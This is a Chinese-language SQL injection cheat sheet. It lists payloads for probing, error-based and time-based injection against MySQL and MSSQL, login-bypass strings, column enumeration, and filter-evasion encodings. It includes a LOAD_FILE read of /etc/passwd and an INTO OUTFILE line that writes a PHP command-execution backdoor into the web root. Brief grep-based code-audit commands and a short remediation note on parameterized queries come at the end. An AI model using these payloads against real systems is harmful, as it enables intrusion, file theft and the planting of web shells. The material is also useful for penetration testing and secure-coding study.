' //单引号报错,转义 %bf%5c%27 //宽字节注入,数据库编码为GBK时,%bf%5c认为是一个字节,绕过PHP正则 UNION ALL SELECT LOAD_FILE('/etc/passwd')-- //读取系统文件 UNION SELECT "<?system($_REQUEST['cmd'];?>)" INTO OUTFILE "/var/www/html/127.0.0.1"-- // 写入后门

and 1=1 和 and 1=2 //数字类型注入条件判断 原理:+1 和 -1 编码后://经测试,需要编码后测试 %2B1为+1,-1为-1,-号编码后也是-所以直接用-号测试好了

hacker 和 hack' + 'er 或 hack er //字符型注入条件判断 ' and '1'='1 和 ' and '1'='2 //同上

#检测构造的时候,如果发现跳转页面,比如首页。会有两种情况存在; #1、后台判断参数化查询,如果不符合参数类型则跳转,不存在注入漏洞 #2、后台判断是否正常返回记录值,如果没有则跳转,存在注入漏洞

and 1=0/@@version;-- //字符串转化为整数 看版本 and 1=0/user;-- //字符串转化为整数 看当前数据库用户

1' GROUP BY productid having 1'='1 //枚举所有列 1' and USER not in ('admin') and 1=0/USER and 1'='1 //判断当前账户权限,是否为管理员

常用内联测试字符串及变形: 字符型 1' or '1'='1 1') or ('1'='1 value' or '1'='2 value') or ('1'='2 1'and '1'='1 1') and ('1'='1 1' or 'ab'='a'+'b' 1') or ('ab'='a'+'b') 1' or 'ab'='a'b 1') or ('ab'='a'b) 1' or 'ab'='a'||'b 1') or ('ab'='a'||'b 数字型 1+1 3-1 value+0 1 or 1=1

  1. or (1=1 value or? 1=2 value) or (1=2 1 and 1=2
  2. and (1=2 1 or 'ab'='a'+'b'
  3. or ('ab'='a'+'b' 1 or 'ab'='a''b'
  4. or? ('ab'='a''b' 1 or 'ab'='a'||'b'
  5. or ('ab'='a'||'b'

登陆弱口令 admin'-- admin')-- admin'# admin')# 1-- 1)-- 1 or 1=1--

  1. or 1=1-- 'or '1'='1'-- ') or '1'='1'-- -1 and 1=2-- -1) and 1=2-- 'and '1'='2'-- ') and '1'='2'-- 1/comment/

microsoft sql 时间延迟 aspx?id=1; waitfor delay '0:0:5';--

mysql 时间延迟 php?id=1; select benchmark(10000000,encode('hello','mom');--

利用篇 @@version #DBMS版本 @@servername #安装SQL server服务器名称 @@language #当前使用语言 @@spid #当前用户进程ID

11+union+select+null,null,null,null-- 嗅探列数 11+order+by+6 排序方式实现嗅探列数,实际列数 6-1=5列 #排序方式实现结合 二分法算法实现 可提高效率 #UNION对已知表数据查询速度会更快一些

asp?id=12;if+(system_user='sa')+WAITFOR+DELAY+'0:0:5'-- mssql判断是否为dba权限 select len(system_user) 获取用户名长度

绕过技术: 1.随机大小写绕过 SeLect 2.URL编码绕过 '%2f%2a*/UNION%2f%2a*/password%2f%2a*/FROM%2f%2a*/table_User%2f%2a*/... 3.双URL编码绕过 %252f%%252a*/UNION%252f%%252a*/... 4.动态查询绕过 Oracle:'SELE'||'ct' 编码后 'SELE'%20'ct' MS-SQL:'SELE'+'ct' 编码后 'SELE'%2B'ct' Mysql:'SELE'+'ct' 编码后 'SELE'%2B'ct' 5.ASCII码编码绕过 char() 6.使用空字节 %00' UNION SELECT password FROM table_User WHERE username='admin'-- 7.嵌套剥离后的表达式 比如SELECTSELECT,只过滤了其中一个 8.利用截断 单引号或双引号或扩展闭合截断 9.GET,POST方式切换

/**/ 单行注释 --? 多行注释

mysql单行注释符

SELECT 1 /!40119 + 1/ 加!号后,如果当前数据库版本等于大于4.01.19则代码被执行

value//or//1=1?? //空格绕过

审计技术

grep -r -n "(mysql|mssql|mysql_db)query(.*$(GET|POST).*)" src/ | awk -F : '{print "filename:"$1"\n line: "$2"\n match: "$3"\n\n"}'

#对文件目录遍历,src为路径,php版 grep -r -n "(oci|ora)parse(.*$(GET|POST).*)" src/ | awk -F : '{print "filename:"$1"\n line: "$2"\n match: "$3"\n\n"}'

#java版 grep -r -n "preparedStatement(|executeQuery(|executeUpdate(|execute(|addBatch(|executeBatch(" src/ | awk -F : '{print "filename:"$1"\n line: "$2"\n match: "$3"\n\n"}'

#C#版 grep -r -n "SqlCommand(|SqlParameter(|OleDbCommand(|OleDbparameter(\OracleCommand(|OracleParameter(|\OdbcCommand(|Odbcparameter" src/ | awk -F : '{print "filename:"$1"\n line: "$2"\n match: "$3"\n\n"}' #查是否存在注入点 grep -i -r -n "sql =.*"(SELECT|UPDATE|INSERT|DROP)" src/ | awk -F : '{print "filename:"$1"\n line: "$2"\n match: "$3"\n\n"}'

注入类型: 1.时间延迟注入 aspx?id=1; waitfor delay '0:0:5';-- 分割sql语句,前面sql语句如果为假,则执行后面语句 waitfor delay '0:0:5';-- 判断返回时间是否延迟了5秒 2.基于错误注入 asp?id=1/is_srvrolemember('sysadmin') 上述构造是利用返回错误,反推构造sql条件 3.基于内容 asp?id=2、asp?id=2-1、asp?id=2%2B1(asp?id=2+1)、 利用返回内容,测试是否存在sql注入,后面可以写为其他条件

修复漏洞: 输入验证,即参数化查询,强制数据类型及字符串长度控制。 数据类型、数据大小、数据范围、数据内容 正则过滤,白名单正则(不推荐黑名单正则,世面一般都是用的黑名单正则)